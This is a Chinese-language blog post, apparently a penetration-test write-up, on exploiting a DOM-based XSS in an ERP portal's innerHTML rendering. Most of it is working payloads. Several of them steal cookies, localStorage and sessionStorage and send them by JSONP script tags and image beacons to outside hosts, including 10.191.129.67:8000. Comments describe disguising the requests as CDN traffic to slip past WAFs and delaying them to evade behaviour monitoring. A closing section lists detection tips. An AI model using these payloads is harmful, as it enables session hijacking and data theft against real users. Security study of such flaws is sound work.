DOM型XSS深度渗透实战

声明

本文章所分享内容仅用于网络安全相关的技术讨论和学习,注意,切勿用于违法途径,所有渗透测试都需要获取授权,违者后果自行承担,与本文章及作者无关,请谨记守法。

1. 概述

在一次针对甲方ERP系统的渗透测试中,我发现了一个隐秘的DOM型XSS漏洞。这种表面无害的漏洞通过巧妙构造的Payload,能够绕过同源策略、突破CSP防御,最终实现敏感数据自动化收割并发送到攻击者服务器。本文将完整呈现漏洞从发现到武器化的全路径攻击链。

2. 正文

0x01 漏洞发现:静态代码审计

漏洞代码定位:

复制代码
// 高危渲染逻辑(核心系统模块)
	function getAppProps() {
		web.portal.appProps = skysz.ajax.getSync("./web/portal/appProps");
		skysz.$("app.name").innerHTML = web.portal.appProps.appName;
		document.title = skysz.$("app.name").innerText;

漏洞成因分析:

  • 信任后端返回数据,未做消毒处理
  • 使用.innerHTML渲染不可控内容
  • API响应头缺失X-Content-Type-Options: nosniff

致命漏洞链:

后端JSON接口 → 前端innerHTML渲染 → DOM解析执行

当接口返回appName: '<img οnerrοr=恶意代码>'时,立即触发XSS

0x02 漏洞验证
复制代码
// 劫持接口返回实现弹窗验证
Object.defineProperty(web.portal, 'appProps', {  get: () => ({ appName: '<img src=x onerror=alert(window.origin)>' })});

//触发弹窗
getAppProps();
0x03 数据外泄多种姿势

1、JSONP协议(跨域数据劫持)

复制代码
Object.defineProperty(web.portal, 'appProps', {
  get: () => ({
    appName: `<img src=x onerror="
      const script = document.createElement('script');
      script.src = 'https://legit-cdn.org/log?callback=__exfil&data=' + 
        btoa(JSON.stringify({
          storage: localStorage,
          sessions: sessionStorage
        }));
      document.body.appendChild(script);">`
  })
});

//创新方案:伪装合法的CDN请求规避WAF检测

2、图片信标突破(隐蔽+长度优化)

复制代码
<JAVASCRIPT>
Object.defineProperty(web.portal, 'appProps', {
  get: () => ({
    appName: `<img src=x onerror="
      (function(){
        // 双通道智能备份传输
        const data = {
          cookies: document.cookie,
          ls: localStorage,
          ss: sessionStorage
        };
        
        // 通道1:JSONP主力传输(完整数据)
        const jsonpScript = document.createElement('script');
        jsonpScript.src = 'https://cdn.trusted.com/analytics.js?' + 
          'cid=${Math.random().toString(36).substr(2)}&' +
          'data=' + btoa(JSON.stringify(data));
        
        // 通道2:图片信标备份(关键数据)
        const beaconImg = new Image();
        beaconImg.src = 'https://log.tracking.com/pixel.gif?' +
          'c=' + encodeURIComponent(data.cookies);
          
        setTimeout(() => {
          document.head.appendChild(jsonpScript);
          document.body.appendChild(beaconImg);
        }, 2000); // 延时触发绕过行为监控
      })();">`
  })
});

3、 混合传输模式:随机切换JSONP/Image

复制代码
Object.defineProperty(web.portal, 'appProps', {
  get: () => ({
    appName: `<img src=x onerror="
      (function(){
        // 组合敏感数据
        const payload = {
          cookie: document.cookie,
          storage: JSON.stringify(localStorage),
          dom: document.documentElement.innerHTML.slice(0,2000)
        };
        
        // 多路传输保障
        const jsonpFn = () => {
          const s = document.createElement('script');
          s.src = 'http://10.191.129.67:8000/j?d='+btoa(JSON.stringify(payload))+'&t='+Date.now();
        };
        
        const imgFn = () => {
          new Image().src = 'http://10.191.129.67:8000/i.gif?c='+encodeURIComponent(payload.cookie);
        };
        
        // 随机化传输策略
        Math.random() > 0.5 ? jsonpFn() : imgFn();
      })();">`
  })
});

4、数据外带核心总结

3. 总结

漏洞挖掘规则:

复制代码
1. **动态渲染点追踪**:
   - 全局搜索`.innerHTML`、`.outerHTML`、`document.write`
   - 检查Vue/React的`v-html`和`dangerouslySetInnerHTML`

2. **API响应可控性验证**:
   - 修改后端返回的JSON内容
   - 测试XSS向量在不同上下文的触发情况

3. **同源策略突破路径**:
   ```javascript
   // 四重渗透路径检测
   const CHANNELS = [
     'fetch',
     'WebSocket',
     'navigator.sendBeacon',
     'new Image()'
   ];

4. 结语

愿诸君以深度防御为盾,以持续审计为刃,在代码构建的数字迷宫中,搭建不可逾越的安全长城。

相关推荐
黄金龙PLUS6 小时前
5个1280比特大状态置换算法的设计与分析
算法·网络安全·密码学·哈希算法·同态加密
三8446 小时前
TLS + Web API 安全 · 03 · TLS 实战:证书、漏洞与抓包中间人
网络安全·tls·中间人·ca证书
大棉花哥哥10 小时前
太空安全,正式上线 —— 博客改版与双专栏发布记
安全·网络安全·卫星安全
光依旧13 小时前
MCP实战手记(九):生产化MCP Server的6层安全防护
java·人工智能·spring boot·安全·网络安全·ai agent·mcp
admin and root1 天前
「AI安全篇」实战AntiDebug自动化JS逆向加解密MCP
javascript·人工智能·网络安全·自动化·漏洞挖掘·cnvd·src赏金
泛联新安1 天前
软件定义汽车时代,如何让AI研发“可信”?——泛联新安构建汽车企业级可信AI体系的落地路径
大数据·人工智能·安全·网络安全·汽车·漏洞挖掘·代码安全
菩提小狗1 天前
每日安全情报报告 · 2026-09-29
网络安全·漏洞·cve·安全情报·每日安全
Daorigin_com1 天前
道本科技携手DeepSeek:以AI重塑合同全生命周期管理
前端·人工智能·科技·网络安全·数据挖掘·前端框架·传媒
白帽攻防录1 天前
SRC 挖洞:Apache Tomcat 加密拦截器绕过深度复盘,CVE-2026-34486 fail-open 一行代码怎么打穿集群通信
java·网络安全·tomcat·apache
学逆向的1 天前
win32消息类型
windows·网络安全·mfc·api·win32